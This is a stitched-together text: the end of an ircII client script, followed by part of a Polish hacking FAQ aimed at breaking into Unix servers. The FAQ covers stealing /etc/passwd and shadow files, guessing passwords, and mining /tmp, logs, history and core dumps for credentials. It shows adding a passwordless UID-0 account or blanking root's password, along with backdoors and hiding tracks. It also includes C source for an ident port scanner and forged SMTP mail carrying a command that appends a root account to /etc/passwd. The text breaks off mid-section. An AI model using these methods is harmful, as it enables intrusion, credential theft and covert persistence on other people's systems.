if ([$left($index(! $0) $0)]!=[$N]) {
if (([$[1]2]==[#])||([$[1]2]==[&])) {
echo $G $left($index(! $0) $0) has checked eveyone's version on channel $2
}{
echo $G $left($index(! $0) $0) has checked my version
}
notice $left($index(! $0) $0) VERSION $N is using $Gi $version\
}{
echo $G You are using $Gi $version\
}
}{#}
}
on ^raw_irc "% PRIVMSG % :FINGER**" {
if (![$isignored($0)]) {
echo $G $left($index(! $0) $0) has fingered you (hehe i tak nic sie nie dowie;)
}{#}
}
on ^ctcp "% % PING" {
if ([$A]) {
^assign pingtext ouch! - I am just /away, $0\: $A
}{
^assign pingtext ouch!
}
if (([$[1]1]==[#])||([$[1]1]==[&])) {
echo $G $0 has pinged everyone on channel $1
}{
echo $G $0 has pinged you
}
notice $0 $pingtext
}
on ^notify_signon "*" userhost $0 -CMD if ([$4]!=[])
{/echo $G Signon at $Z for $0 [$3@$4] detected}
on ^notify_signoff "*" echo $G Signoff at $Z for $0 detected
on ^mail "*" {/echo $G You have new mail: $0 new, $1 unread}
on ^wallop * {
if ([$1]==[+]){
echo !$0\*! $2-
}
if ([$1]==[-]){
echo !$0\! $2-
}
if ([$1]==[S]){
echo !$0\! $2-
}
}
on ^send_action "*" if (([$[1]0]!=[#])&&([$[1]0]!=[&])) {
echo * -> $0 $N $1-
}{
echo * $N $1-
}
on ^send_notice "*" {
if (([$[1]0]!=[#])&&([$[1]0]!=[&])){
echo -> -$0\- $1-
}{
if ([$0]==[$C]){
echo - $1-
}{
echo -$0\> $1-
}
}
}
on ^send_msg "*" {
if (([$[1]0]!=[#])&&([$[1]0]!=[&])){
echo -> *$0\* $1-
}{
if ([$0]==[$C]{
echo > $1-
}{
echo >$0\> $1-
}
}
^tk.addmsg $0 $tk.msglist
}
on #-send_msg 12 * ^assign prevmsg $1-
on #-msg 38 * ^tk.addmsg $0 $tk.msglist
on ^send_dcc_chat "*" {
echo -> =$0\= $1-
^tk.addmsg \=$0 $tk.msglist
}
on #-dcc_chat 38 * ^tk.addmsg \=$0 $tk.msglist
on ^flood * {
#
negeren $0
}
on #-public 16 "% % **" if ([$biep]==[ON]){//beep}{}
on #-public_other 16 "% % **" if ([$biep]==[ON]){//beep}{}
on #-public_msg 16 "% % **" if ([$biep]==[ON]){//beep}{}
on #-public_notice 16 "% % **" if ([$biep]==[ON]){//beep}{}
on #-action 16 "% % **" if ([$biep]==[ON]){//beep}{}
on #-msg 16 "% **" if ([$biep]==[ON]){//beep}{}
on #-msg_group 16 "% **" if ([$biep]==[ON]){//beep}{}
on #-notice 16 "% **" if ([$biep]==[ON]){//beep}{}
on #-dcc_chat 16 "% **" if ([$biep]==[ON]){//beep}{}
on #-send_public 17 "% **" if ([$biep]==[ON]){//beep}{}
on #-send_action 17 "% **" if ([$biep]==[ON]){//beep}{}
on #-send_msg 17 "% **" if ([$biep]==[ON]){//beep}{}
on #-send_notice "% **" if ([$biep]==[ON]){//beep}{}
on #-send_dcc_chat "% **" if ([$biep]==[ON]){//beep}{}
on ^window "% --- Recursive call to irc_io() - careful" #
on ^window "% Try `finger .help'." #
on ^window "% Nobody matching % ever logged in." {
echo $G No "$3\" logged in, maybe it's a fake-user id.
}
@tk.msgmax = 10
@biep = [OFF]
eval ^userhost $N -CMD eval ^assign muhost $$3@$$4
alias refresh_all {
parsekey refresh_screen
parsekey refresh_inputline
}
alias hold {
^set hold_mode toggle
echo $G Hold Display Mode is set to: $hold_mode
}
alias floodprot if ([$2]) {
^ignore *$2\@*$1 all
echo $G Ignoring $0\'s user@host <*$2\@*$1\>
}{
^ignore *@*$1 all
echo $G Ignoring $0\'s host <*@*$1\>
}
alias commands {
echo
echo *** $Gi Commands:
echo *** ~~~~~~~~~~~~~~~~~~~~~~
echo *** /Info : Get Info about $Gi $version
echo *** /Commands : Show this Commands List
echo *** /CTRL : Show a List with available CTRL Commands
echo *** /ESC : Show a List with available ESC Commands
echo ***
echo *** /Bell ON : Set Bell ON, able to hear a Bell (Beep, CTRL G)
echo *** /Bell OFF : Set Bell OFF, unable to hear a Bell (Beep, CTRL G)
echo *** /WI : Whois (No is /WhoAmI)
echo *** /WhoAmI : Check out your own Stats
echo *** /W <#CHAN> : Show People on Channel <#CHAN>
echo *** /T : Set Topic
echo *** /Q : Start Query with
echo *** /M : Send a /MSG
echo *** /MeMsg : Send a private /ME Message
echo *** /MM : MeMsg
echo *** /Inv : Invite to your Channel
echo *** /S : Server
echo *** /P : Ping
echo *** /Cls : Clear Screen
echo *** /C : Add specified Mode to Channel
echo *** /CC : Remove specified Mode from Channel
echo *** /U : Add specified Usermode
echo *** /UU : Remove specified Usermode
echo *** /Ver : Check out 's Client and/or Script Version
echo *** /F : Finger
echo *** /Finger : Client to Client Finger Protocol
echo *** /I : Ignore All
echo *** /UnIgnore : Remove Ignore
echo *** /UI : UnIgnore
echo *** /UIL : UnIgnore Last ignored Nick/Userhost
echo *** /Oops : Send an 'Oops Message' to the last /MSGd Nick
echo *** and send previous /MSG to the right
echo *** /WO <#CHAN> : Open another Window with Channel <#CHAN>
echo *** /WS : Open another Window on Server
echo *** /WK : Kill current Window
echo *** CTRL x : Switch between Windows
echo ***
echo *** /J : Join
echo *** /L : Leave Channel
echo *** CTRL l : Switch between Channels
echo ***
echo *** /Op : Give (or more s) Operator Status
echo *** /DOp : Remove 's (or more s') Operator Status
echo *** /K : Kick from current Channel with comment
echo ***
echo *** /B : Ban on Userhost
echo *** /Ban : Ban specified
echo *** /UB : UnBan on Userhost
echo *** /UnBan : UnBan specified
echo *** /BK : BanKick
echo *** /BL <#CHAN> : Show Banlist of Channel <#CHAN>
echo *** /BS : Show Banlist of Server
echo ***
echo *** /DC : DCC Chat
echo *** /DCX : Close DCC Chat with
echo *** /DS : DCC Send
echo *** /DSX : Close DCC Send with
echo *** /DG : DCC Get
echo *** /DGX : Close DCC Get with
echo *** /DR : DCC Get & Rename File to File
echo *** /DL : Show DCC List
echo *** /DM : Send DCC Msg to
echo *** /DQ : Start DCC Chat Query with
echo ***
echo *** /SetAway () : Announce Away (with ). Logging Messages
echo *** /SetBack () : Announce Return (with ).Showing Messages
echo *** /ShowLog : Show all, during Away, logged Messages
echo *** /SL : ShowLog
echo *** /ClearLog : Clear the Logfile
echo *** /CL : ClearLog
echo ***
echo *** CTRL i or TAB : Search back through Message List
echo *** CTRL f : Search forward through Message List
echo *** /MsgList : Show Nicks on Message List
echo *** /ML : MsgList
echo *** /AddNick : Add to Message List
echo *** /AN : AddNick
echo *** CTRL d : Delete currently displayed Nick from Message List
echo *** -------------------------------------------------------- $Gi ---
}
alias ctrl {
echo
echo *** $Gi CTRL Commands:
echo *** ~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo *** CTRL b : Bold displayed Text
echo *** CTRL v : Inverse displayed Text
echo *** CTRL _ : Underlined displayed Text
echo *** CTRL o : Enter Digraph
echo ***
echo *** CTRL g : Beep (G)
echo *** CTRL r : Refresh Screen
echo ***
echo *** CTRL u : Erase Line
echo *** CTRL k : Erase to End of Line
echo *** CTRL t : Erase to Begin of Line
echo *** CTRL y : Restore last deleted Line
echo ***
echo *** CTRL n : Scroll forward half a Page
echo *** CTRL p : Scroll back half a Page
echo *** CTRL a : Jump to the Start
echo *** CTRL e : Jump to the End
echo ***
echo *** CTRL l : Switch between Channels (After 2 or more /JOINs)
echo *** CTRL x : Switch between Windows (After 1 or more /WOs)
echo *** CTRL w : Move a Window (After 1 or more /WOs)
echo ***
echo *** CTRL i or TAB : Search back through Message List
echo *** CTRL f : Search forward through Message List
echo *** CTRL d : Delete currently displayed Nick from Message List
echo ***
echo *** CTRL z : Stop iRC (Return to iRC by typing: fg)
echo *** CTRL c : Quit iRC
echo *** -------------------------------------------------------- $Gi ---
}
alias esc {
echo
echo *** $Gi ESC Commands:
echo *** ~~~~~~~~~~~~~~~~~~~~~~~~~~
echo *** ESC ESC : Complete the Command
echo *** ESC m : Set Hold Display Mode to ON/OFF ( -- more -- )
echo *** ESC s : Search for previous Entry
echo *** ESC b : Go to the Beginning of the Line
echo *** ESC e : Go to the End of the Line
echo ***
echo *** ESC i : Ignore Userhost of last active Nick
echo *** ESC I : Ignore Host of last active Nick
echo ***
echo *** ESC \) : Happy Smiley :-\)
echo *** ESC \( : Sad Smiley :-\(
echo *** ESC \; : Winking Smiley \;-)
echo *** ESC 8 : Glasses Smiley 8-)
echo *** ESC P : Nyahhhh Smiley :-P
echo *** ESC | : Hmmm Smiley :-|
echo *** ESC d : Baseballcap Smiley d:-)
echo ***
echo *** ARROW KEYS : Move through History or Line
echo *** -------------------------------------------------------- $Gi ---
}
alias ignore {
if (rmatch($1- MSG* NOT* PUB* INV* WAL* CTC* CRA* ALL)){
^assign lastignore $0
if (rmatch($1- ALL)){
^assign ignorelist[$encode($0)] $0
}
}
if ((rmatch($1- NON*))&&([$0]==[$lastignore])){
^assign -lastignore
}
//ignore $0-
}
alias isignored {
@function_return=0
foreach ignorelist xx {
if (match($ignorelist[$xx] $0)) {
@function_return = 1
}
}
}
alias i ignore $0 all
alias unignore {
ignore $0 none
foreach ignorelist xx {
if ((match($ignorelist[$xx] $0))&&(match($0 $ignorelist[$xx]))){
^assign -ignorelist[$xx]
}
}
}
alias ui unignore
alias uil if ([$lastignore]){
ui $lastignore
}{
echo $G Last ignored Nick/Userhost has already been removed
}
alias q query
alias dq if ([$0]){query =$0}{query}
alias dquery dq
alias wo window new channel $0
alias ws window new server
alias wk window kill
alias k if ([$1]){kick * $0 $1-}{kick * $0 Bye!}
alias bl if ([$0]){mode $0 b}{mode * b}
alias bs stats k
alias b if ([$0]){^userhost $0 -CMD ben $$0 $$3 $$4}{mode * +b}
alias ben {
if ([$1]==[]){
echo $G No such nick
}{
mode $C -o+b $0 *!*$strip(~ $1)@*$right(${index(. $2)+2} $2)
}
}
alias ub ^userhost $0 -CMD unben $$0 $$3 $$4
alias unben {
^assign -tglist
^assign target $0!$1@$2
if ([$1]==[]){
echo $G No such nick
}{
^on ^367 * if (rmatch($target $2)){
^assign tglist $2 ${tglist}
}{}
^on ^368 * dounban $$tglist
mode * b
}
}
alias dounban {
mode $C -bbb $0 $1 $2
if ([$3]){
dounban $3-
}{
^assign -tglist
timer 3 ^on ^367 -
^on ^368 -
}
}
alias ban mode * +b $0-
alias unban mode * -b $0-
alias join if ((![$0])||([&]==[$[1]0])||([#]==[$[1]0])||
([$0]==[0])||([-]==[$[1]0])) {//join $0-}{//join #$0-}
alias leave if (![$0]) {//leave $C}
{if (([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[*])) {//leave $0} {//leave #$0}}
alias m msg $0 $1-
alias oops {
^assign demsg $prevmsg
msg $. Sorry, that wasn't ment for you :-)
msg $0 $demsg
}
alias j join
alias l leave
alias wi if ([$0]) {
if ([$0]==[$N]) {
echo $G These are your stats:
whois $N
mode $N
}{
echo $G These are $0-\'s stats:
whois $0-
}
}{
echo $G These are your stats:
whois $N
mode $N
}
alias whoami wi $N
alias w if ([$0]){
who $0-
}{
who *
}
alias t if (([$[1]0]==[#])||([$[1]0]==[&])) {//topic $0-}{//topic $C $0-}
alias u mode $N $0-
alias uu mode $N -$0-
alias op mode * +ooo $0-
alias dop mode * -ooo $0-
alias memsg describe
alias mm memsg
alias cls clear
alias c if (([$[1]0]==[#])||([$[1]0]==[&])) {mode $0-}{mode * $0-}
alias cc mode $C -$0-
alias dc dcc chat
alias dcx dcc close chat $0
alias dx dcx
alias dsx dcc close send $0
alias dgx dcc close get $0
alias ds dcc send
alias dg dcc get
alias dr dcc rename $0 $1 $2;dg $0 $2
alias dl dcc list
alias dmsg msg =$0 $1-
alias dm dmsg
alias bell {
if ([$0]) {
if (rmatch($0 ON OFF)) {
if ([$0]==[ON]) {
^assign biep ON;echo $G BELL is set to: $biep
}
if ([$0]==[OFF]) {
^assign biep OFF;echo $G BELL is set to: $biep
}
}{
echo $G 'BELL $TOUPPER($0)' is no option, only ON and OFF are.
}
}{
echo $G Current BELL status is: $biep
}
}
alias inv {
if ([$0]) {
invite $0 $C
}
{echo $G You need to specify a nick to invite.}
}
alias s server $0-
alias p {
if ([$0]) {//PING $0}
{//PING $C}
}
alias bk {
if ([$0]) {
^userhost $0 -CMD bankick $$0 $$3 $$4 $1
}{
echo $G BanKick who?
}
}
alias bankick {
if ([$1]==[]){
echo $G No such nick
}{
^assign dummy $2
mode $C -o+b $0 *!*$strip(~ $1)@*$right(${@dummy-index(. $2)} $2)
if ([$3]) {
kick * $0 $3-
}{
kick * $0 Bye!
}
}
}
alias banprot {
^assign myhost $N!$muhost
if (rmatch($2 *+b*)){
if (rmatch($myhost $3)){
mode $1 -ob $0 $3
}
if (rmatch($myhost $4)){
mode $1 -ob $0 $4
}
if (rmatch($myhost $5)){
mode $1 -ob $0 $5
}
if (rmatch($myhost $6)){
mode $1 -ob $0 $6
}
}
}
alias logn ^assign function_return $strip
(~ $left($index(@ $userhost($0)) $userhost($0)))
alias negeren {
^assign floeder *$logn($0)*
ignore $floeder all
^assign janee $"Ignore flooder (y/n)? "
if (!match($janee y)){ignore $floeder none}{}
}
alias setaway {
if (([$wegtext]!=[])&&([$A]!=[])) {
echo $G You are already away: $A
}
{
if (![$0]) {
^away Will be right back
me is away. All messages will be logged
^assign -wegtext
^assign wegtext Will be right back
}
{
^away $0-
me is away: $A\. All messages will be logged
^assign -wegtext
^assign wegtext $A
}
^assign -nickssent
^eval exec -name away cat >> $HOME/.gildor.irc.log
timer 1 ^eval exec chmod 600 $HOME/.gildor.irc.log
@ datum = [$stime($time())]
@ tijd = [$word(3 $datum)]
@ dattijd = [$word(1 $datum)] ## [ $word(2 $datum)] ## [ $mid(0 5 $tijd)]
timer 2 //^msg %away >> Setaway logfile started on $dattijd \($A\) <<
^assign logleeg No
}
}
alias setback {
if (([$wegtext]!=[])&&([$A]!=[])) {
^away
^assign -wegtext
@ datum = [$stime($time())]
@ tijd = [$word(3 $datum)]
@ dattijd = [$word(1 $datum)] ## [ $word(2 $datum)] ## [ $mid(0 5 $tijd)]
//^msg %away >> Setaway logfile ended on $dattijd <<
^exec -close %away
if ([$0]==[]) {
me is back.
}{
me is back: $0-
}
if ([$nickssent]){
input "Show logged messages (y/n)? " if ([$0]==[y]) {
showlog
}
}{
echo $G No messages have been logged
^exec rm $HOME/.gildor.irc.log
^assign logleeg Yes
}
}{
if (![$A]) {
^assign -wegtext
echo $G You are already back
}{
^away
}
}
}
alias showlog {
if ([$logleeg]==[No]) {
^exec cat $HOME/.gildor.irc.log
}{
echo $G Setaway logfile is empty
}
}
alias clearlog {
if ([$logleeg]==[No]) {
^exec rm $HOME/.gildor.irc.log
echo $G Setaway logfile has been cleared
^assign logleeg Yes
}{
echo $G Setaway logfile has already been cleared
}
}
alias cl clearlog
alias sl showlog
alias ver {
if (![$0]) {
ctcp $N version
}{
ctcp $0 version
}
}
alias f userhost $0 -CMD if
([$4]!=[]) {exec finger -s $strip(~ $3@$4)}{echo $G I can't find $0}
alias finger {
if ([$0]) {
ctcp $0 finger
}{}
}
alias msglist echo $G Message List: $tk.msglist
alias addnick if ([$1])
{addnick $1-};tk.addmsg $0 $tk.msglist;echo $G $0 added to Message List
alias tk.addmsg {
@ tk.matched = rmatch($0 $^\1-)
if (tk.matched)
{
@ tk.msglist = [$(0-${tk.matched-1}) $(${tk.matched+1}-)]
}
#else
{ @ tk.msglist = [$(0-${tk.msgmax-1})] }
@ tk.msgcnt = 0
^assign -tk.matched
}
alias tk.getmsg {
@ tk.msgcnt = tk.msgcnt + [$0]
if ( #tk.msglist < tk.msgcnt ) {@ tk.msgcnt = 1}
if (tk.msgcnt <= 0) {@ tk.msgcnt = #tk.msglist}
@ tk.junk = K ## [msg]
type ^U$tk.junk $^^{[$($tk.msgcnt)]}
}
alias tk.delnick {
if (tk.msgcnt == 0)
{
echo $G $word(0 $tk.msglist) removed from Message List
@ tk.msglist = [$notword(1 $tk.msglist)]
}
{
echo $G $word(${tk.msgcnt-1} $tk.msglist) removed from Message List
@ tk.msglist = [$notword($tk.msgcnt $tk.msglist)]
}
type ^U
}
alias notword {
if ([$0] > 0)
{
if (([$0] > 1) && ([$0] < rmatch($~ $1-)))
{ @ nw.sep = [ ] }
{ @ nw.sep = [] }
@ function_return = [$(1-${[$0]-1})] ## [$nw.sep] ## [$(${[$0]+1}-)]
}
{
@ function_return = [$1-]
}
}
alias ml msglist
alias an addnick
eval echo $G $version Loaded.
### End of Script ###
-- CUTE HERE --
3.1 Hackerskie zasady
Oto kilka zasad, ktorych prawdziwy hacker powinien przestrzegac i nigdy nie
lekcewazyc !!!
1. Nigdy nie uszkadzaj systemu, do ktorego sie wlamujesz.
2. Nigdy nie zmieniaj plikow systemowych, oprocz tych, ktore powinienes
zabezpieczyc, aby nie zostac wykrytym i tych ktore sam zabezpieczyles
aby zyskac bezpieczny dostep w przyszlosci.
3. Nigdy nie zmieniaj hasel, na kogos koncie, bo moga zajsc podejrzenia, a po
za tym, jesli zmienisz to i tak sie dlugo nie nacieszysz tym kontem ;)
4. Nie czytaj, czyjejs poczty, chyba ze jesli juz masz taka potrzebe,
to zostaw ja na serwerze, by wlasciciel mial do niej dostep.
5. Nie mow nikomu o swoich czynach, projektach z wyjatkiem osob, ktorym ufasz.
6. Nigdy nie uzywaj prawdziwych imion, nazwiska, numeru telefonu, staraj
sie uzywac imion kobiecych, sa mniej podejrzane
7. Zostaw system w takim stanie jak go zastales.
8. Nie mow o swoich planach przez telefon domowy.
9. Badz przezornym az do przesady, trzymaj wszystkie materialy w bezpiecznym
miejscu.
10. Aby stac sie prawdziwym hackerem musisz hackowac, a nie siedziec i
tylko czytac, albo przywlaszczac sobie czyjes osiagniecia ;)
3.2 Od czego zaczac
Na poczatku musimy posiadac jakiekolwiek konto w internecie, najlepiej z
dostepem do shella. Warto zaznaczyc by bylo anonimowe, lub z falszywymi danymi.
Najlepiej posiadac w domu jakis komputer ;),porzadny system operacyjny, mam na
mysli jakiegos Linuxa. Miec troche checi i.. szczescia ;) Konto mozna sobie
zalozyc za friko na jednym z serwerow wymienionych na koncu tego FAQ.
3.3 Twoje glowne zadanie
Twoim glownym zadaniem jako hackera jest zdobycie hasla roota , co wiaze sie
z faktem zdobycia pliku /etc/passwd lub /etc/shadow, w przypadku wlaczonego
shadowingu. Plik ten zawiera informacje na temat uzytkownika, shella, katalog
domowy i.. zakodowane haslo ;)
Przykladowy plik passwd wyglada tak:
root:hY8Y6dgdt5GT3:0:0:Root:/root:/bin/tcsh
sysadm:x:0:0:System V Administration:/usr/admin:/bin/sh
diag:x:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:x:1:1:daemons:/:/dev/null
bin:x:2:2:System Tools Owner:/bin:/dev/null
uucp:x:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:x:4:0:System Activity Owner:/var/adm:/bin/sh
adm:x:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp:x:9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
nuucp:x:10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico
auditor:IodhysTGtydhY:11:0:Audit Activity Owner:/auditor:/bin/sh
franklins:IkUjyhUtyfHyj:4086:20:Scott Frankiln:/usr/staff/franklins:/bin/tcsh
bartekk:YKifhjdHyd654:4090:20:Bartosz Kotkowski:/usr/staff/bartekk:/bin/tcsh
robertp:JufjUjdts54Df:4091:20:Robert Prus:/usr/staff/robertp:/bin/tcsh
andrew:SfjidThdyJ5dg:4092:20:Andrzej Tucholski:/usr/staff/andrew:/bin/tcsh
Jesli hasla sa shadowane, umieszczone sa w pliku /etc/shadow i wyglada to tak:
root:x:0:0:Root:/root:/bin/tcsh
sysadm:x:0:0:System V Administration:/usr/admin:/bin/sh
diag:x:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:x:1:1:daemons:/:/dev/null
bin:x:2:2:System Tools Owner:/bin:/dev/null
uucp:x:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:x:4:0:System Activity Owner:/var/adm:/bin/sh
adm:x:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp:x:9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
nuucp:x:10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico
auditor:x:11:0:Audit Activity Owner:/auditor:/bin/sh
franklins:x:4086:20:Scott Frankiln:/usr/staff/franklins:/bin/tcsh
bartekk:x:4090:20:Bartosz Kotkowski:/usr/staff/bartekk:/bin/tcsh
robertp:x:20:Robert Prus:/usr/staff/robertp:/bin/tcsh
andrew:x:4092:20:Andrzej Tucholski:/usr/staff/andrew:/bin/tcsh
Oto co oznaczaja powyzsze rzeczy:
Dla przykladu :
andrew: SfjidThdyJ5dg:4092:20:Andrzej Tucholski:/usr/staff/andrew:/bin/tcsh
Nazwa uzytkownika: andrew
Zakodowane haslo: SfjidThdyJ5dg
Numer uzytkownika (UID): 4092
Numer grupy(GID): 20
Inne informacje: Andrzej Tucholski
Katalog wlasny: /usr/staff/andrew
Shell: /bin/tcsh
Jesli pliku passwd nie ma w /etc mozna go znalezc w jendym z podanych miejsc
w zaleznosci od systemu UNIX :
WERSJA UNIXA SCIEZKA
AIX 3 /etc/security/passwd
A/UX 3.Os /tcb/files/auth/
BSD4.3-Reno /etc/master.passwd
ConvexOS 10 /etc/shadpw
DG/UX /etc/tcb/aa/user
HP-UX /.secure/etc/passwd
SunOS 4.1+c2 /etc/security/passwd.adjunct
System V 4.2 /etc/security/database
Ultrix 4 /etc/auth
UNICOS /etc/udb
3.4 Metody lamania systemu - wprowadzenie
Metod jest bardzo wiele i zalezy to od systemu jaki chcemy zhackowac i od
dziur jakie sie w nim znajduja. Na poczatku najlepiej miec konto jakiegos
zwyklego uzytkownika. Jesli juz mamy jedno konto mozna zadbac o to by zdobyc
jeszcze kilka innych kont, czesto sie to przydaje. Mozna na przyklad sprobowac
rozszywrowac kilka kont metoda "trafiony zatopiony";) Bardzo czesto zdarza sie
ze uzytkownicy systemu - takich chyba okresla sie mianem lama ;) - haslo maja
takie samo jak login. Albo uzytkownik np.ewa haslo ma awe, lub ewa pass: EWA
Mozna tez do tego podejsc psyhologicznie i strzelac nieco inaczej. Na przyklad
uzytkownik z loginem : jarek moze miec haslo: drewno ;) Skad te powiazanie?
A..,znamy goscia i wiemy ze jest zapalonym stolarzem , tylko tym zyje i o tym
mysli ;))). Mozna tez sprobowac powiazac Nazwisko,czy tez nazwe firmy z haslem.
Jesli juz nam sie udalo zdobyc kikla kont przejdzmy do kroku kolejnego.Warto
poweszyc po systemie. Na przyklad popatrzec w katalog /tmp mozna tam czasem
znalezc wiele ciekawych rzeczy. Dla przykladu: niedawno na jednym z serwerow
w katalogu /tmp znalazlem plik, w ktorym co jakis czas pojawiala sie kopia
poczty adminow. Byly w niej informacje o wszystkich zalozonych kontach i oczy-
wiscie hasla ;) Czesto root ma zarchiwizowane dane w jakims katalogu ./backup,
tez warto rozejrzec sie za takimi katalogami. Mozna tez popatrzec w logi i
historie ( np. bash.history przy powloce bash). Czesto jak ktos sie zapedzi
przy wpisywaniu hasla, odnotowane jest to w logach ;). Bardzo ciekawym katalo-
giem jest katalog var, tam rowniez mozna znalezc kilku przydatnych plikow,
szczegolnie w podkatalogu /log. Mozna tez popatrzec za plikami o nazwie: core
Sa to bardzo ciekawe pliki automatycznie tworzone po dokonaniu przez program
jakiegos bledu lub przepelnienia. W pliku tym kryje sie czesto wiele cennych
danych. Po dokonaniu odpowiedniej filtracji mozna go spokojnie przejrzec ;)
Filtracji mozemy dokonac metoda :
strings core >plik_docelowy
I teraz interesuje nas plik_docelowy w ktorym sa przefiltrowane dane. Jest to
dosc dobra i skuteczna metoda, gdyz plik ten tworzony jest automatycznie bez
wiedzy uzytkownika systemu. W dalszym punkcie wyjasnie jak celowo mozna dopro-
wadzic do wywolania powstania pliku core i przez to zdobycie hasla roota ;)
A co jesli nie mamy zadnego konta na serwerze?
Na to rowniez jest wiele metod. Podstawa jest kilka prostych programikow.
Niektorych kody zrodlowe umiescilem w dalszej czesci FAQ. Przydatny jest
scan port, scanujacy wszystkie porty, scaner www, sendmail scaner, proste
sniffery, exploity na sendmaila i kilka innych. Troche metod omowie w dalszych
punktach.
3.5 Sposoby na poprawienie sobie bytu
Jesli juz mamy mozliwosc pisania do /etc/passwd, lub odczytania pliku
/etc/shadow mozemy szalec ;)
Mozna na przyklad zmienic linijke roota w pliku /etc/passwd
root:x:0:0:Root:/root:/bin/tcsh
na:
root::0:0:root:/root:/bin/tcsh
i teraz wystarczy:
login: root
Password:
Mozna tez dodac swoja linijke z uprawnieniami roota np:
hacker::0:0::/:/bin/tcsh
Mozna tez zmienic haslo rootowi, ale wszystkie powyzsze metody sa lamerskie
i raczej na krotka mete. Wydawalo by sie, ze fajnie jest namieszac, wkurzyc
roota i pozmieniac mu wszystko co sie da. Doprowadzi to jednak tylko do tego,
ze root, albo zaladuje sobie system z backup disk, albo wejdzie jakas inna
metoda, zabezpieczy sobie system i bedzie dziesiec razy czujniejszy.
Ma to sens tylko wtedy, gdy chcemy komus zrobic na zlosc, kogos nie lubimy,
albo mamy wyjatkowo dobry humor ;-), Warto poszukac jakiegos ciekawszego
rozwiazania. Na przyklad dodac sie do zaufanych hostow, otworzyc sobie "tylne
dzwi" ( back door), lub po prostu miec roota, niczego nie zmieniac i dobrze
zacierac za soba slady.
4.1.Scanowanie dziur serwera
Polega na scanowaniu serwera i szukaniu dziur w deamons na rootcie, httpd
na rootcie, szukaniu backdoor na roznych portach i innych dziur.Ponizej
zamieszczam zrodlo programu ktory zrobi to za nas. Nalezy go skompilowac
(gcc)i wywolywac z opcjami: scanhost
-- CUT HERE -
#include
#include
#include
#include
#include
#include
#include
#include
#include
enum errlist
{
BAD_ARGS,BAD_HOST,NO_IDENT,SOCK_ERR
};
void
usage(error)
enum errlist error;
{
fprintf(stderr,"ident-scan: ");
switch(error)
{
case BAD_ARGS: fprintf(stderr,"usage: ident-scan hostname [low port]
[hi port]\n");
break;
case BAD_HOST: fprintf(stderr,"error: cant resolve hostname\n");
break;
case NO_IDENT: fprintf(stderr,"error: ident isnt running on host\n");
break;
case SOCK_ERR: fprintf(stderr,"error: socket() failed\n");
break;
}
exit(-1);
}
struct hostent *
fill_host(machine,host)
char *machine;
struct hostent *host;
{
if ((host=gethostbyname(machine))==NULL)
{
if ((host=gethostbyaddr(machine,4,AF_INET))==NULL)
return(host);
}
return(host);
}
int
main(argc,argv)
int argc;
char **argv;
{
struct sockaddr_in forconnect,forport,forident;
int i,sockfd,identfd,len=sizeof(forport),hiport=9999,loport=1,curport;
struct servent *service;
struct hostent *host;
char identbuf[15], recieved[85], *uid;
if ((argc<2) || (argc>4))
usage(BAD_ARGS);
if (argc>2)
loport=atoi(argv[2]);
if (argc>3)
hiport=atoi(argv[3]);
if ((host=fill_host(argv[1],host))==NULL)
usage(BAD_HOST);
forconnect.sin_family=host->h_addrtype;
forconnect.sin_addr.s_addr=*((long *)host->h_addr);
forident.sin_family=host->h_addrtype;
forident.sin_addr.s_addr=*((long *)host->h_addr);
forident.sin_port=htons(113);
if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);
if ((connect(identfd,(struct sockaddr *)&forident,sizeof(forident)))!=0)
usage(NO_IDENT);
close(identfd);
for(curport=loport;curport<=hiport;curport++)
{
for(i=0;i!=85;i++)
recieved[i]='\0';
forconnect.sin_port=htons(curport);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);
if (connect(sockfd,(struct sockaddr *)&forconnect,sizeof(forconnect))==
0)
{
if (getsockname(sockfd,(struct sockaddr *)&forport,&len)==0)
{
if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
usage(SOCK_ERR);
if (connect(identfd,(struct sockaddr *)&forident,sizeof(forident))
==0)
{
sprintf(identbuf,"%u,%u",htons(forconnect.sin_port),
htons(forport.sin_port));
write(identfd,identbuf,strlen(identbuf)+1);
read(identfd,recieved,80);
recieved[strlen(recieved)-1]='\0';
uid=strrchr(recieved,' ');
service=getservbyport(forconnect.sin_port,"tcp");
printf("Port: %3d\tService: %10s\tUserid: %s\n",curport,
(service==NULL)?"(?)":service->s_name,uid);
}
}
}
close(sockfd);
close(identfd);
}
}
-- CUT HERE --
4.2 Wysylanie fakemaili
Aby przejsc do kolejnego punktu zwiazanego z sendmailami nalezy poznac
kilka polecen sluzacych do wysylania tzw. fakemaili, czyli anonimowych maili
z jakiegos serwera. Zasada jest prosta :
Laczymy sie z jakim serwerem przez telnet port 25
i calosc wyglada mniej wiecej tak:
> telnet dom.vr.pl 25
220 dom.vr.pl ESMTP Sendmail 8.8.7/8.8.5; Sat, 1 January 1998 23:35:22 +0200
> helo nikt
250 dom.vr.pl Hello ppp123.bydgoszcz.tpnet.pl [194.204.139.137], pleased to
meet you
> mail from:root@dom.vr.pl
250 root@dom.vr.pl... Sender ok
> rcpt to:slabik@tpsa.is.lame
250 slabik@tpsa.is.lame Recipient ok
> data
354 Enter mail, end with "." on a line by itself
tu piszemy tekst i konczymy go "."
> quit
Warto zauwazyc, ze w miejscu gdzie wpisujemy tekst ( data ) mozemy zastosowac
wiele ciekawych polecen np: echo nikt::0:0:nikt/:/bin/bash>>/etc/passwd
To jest tylko przyklad i raczej to nie zadziala, ale od czego sa exploity i
inne metody ;)
4.3.Bugi w sendmailu
Ataki na serwer po przez sendmail to chyba najczesciej spotykane metody na
zdobycie roota. Do wielu sendmaili napisanych zostalo sporo exploitow i
opracowanych duzo metod na wykorzystanie ich dziur. Niestety, nowsze sendmaile
powyzej 8.8.5, pozbawione sa licznych bugow, a nawet sie twierdzi ze ich nie
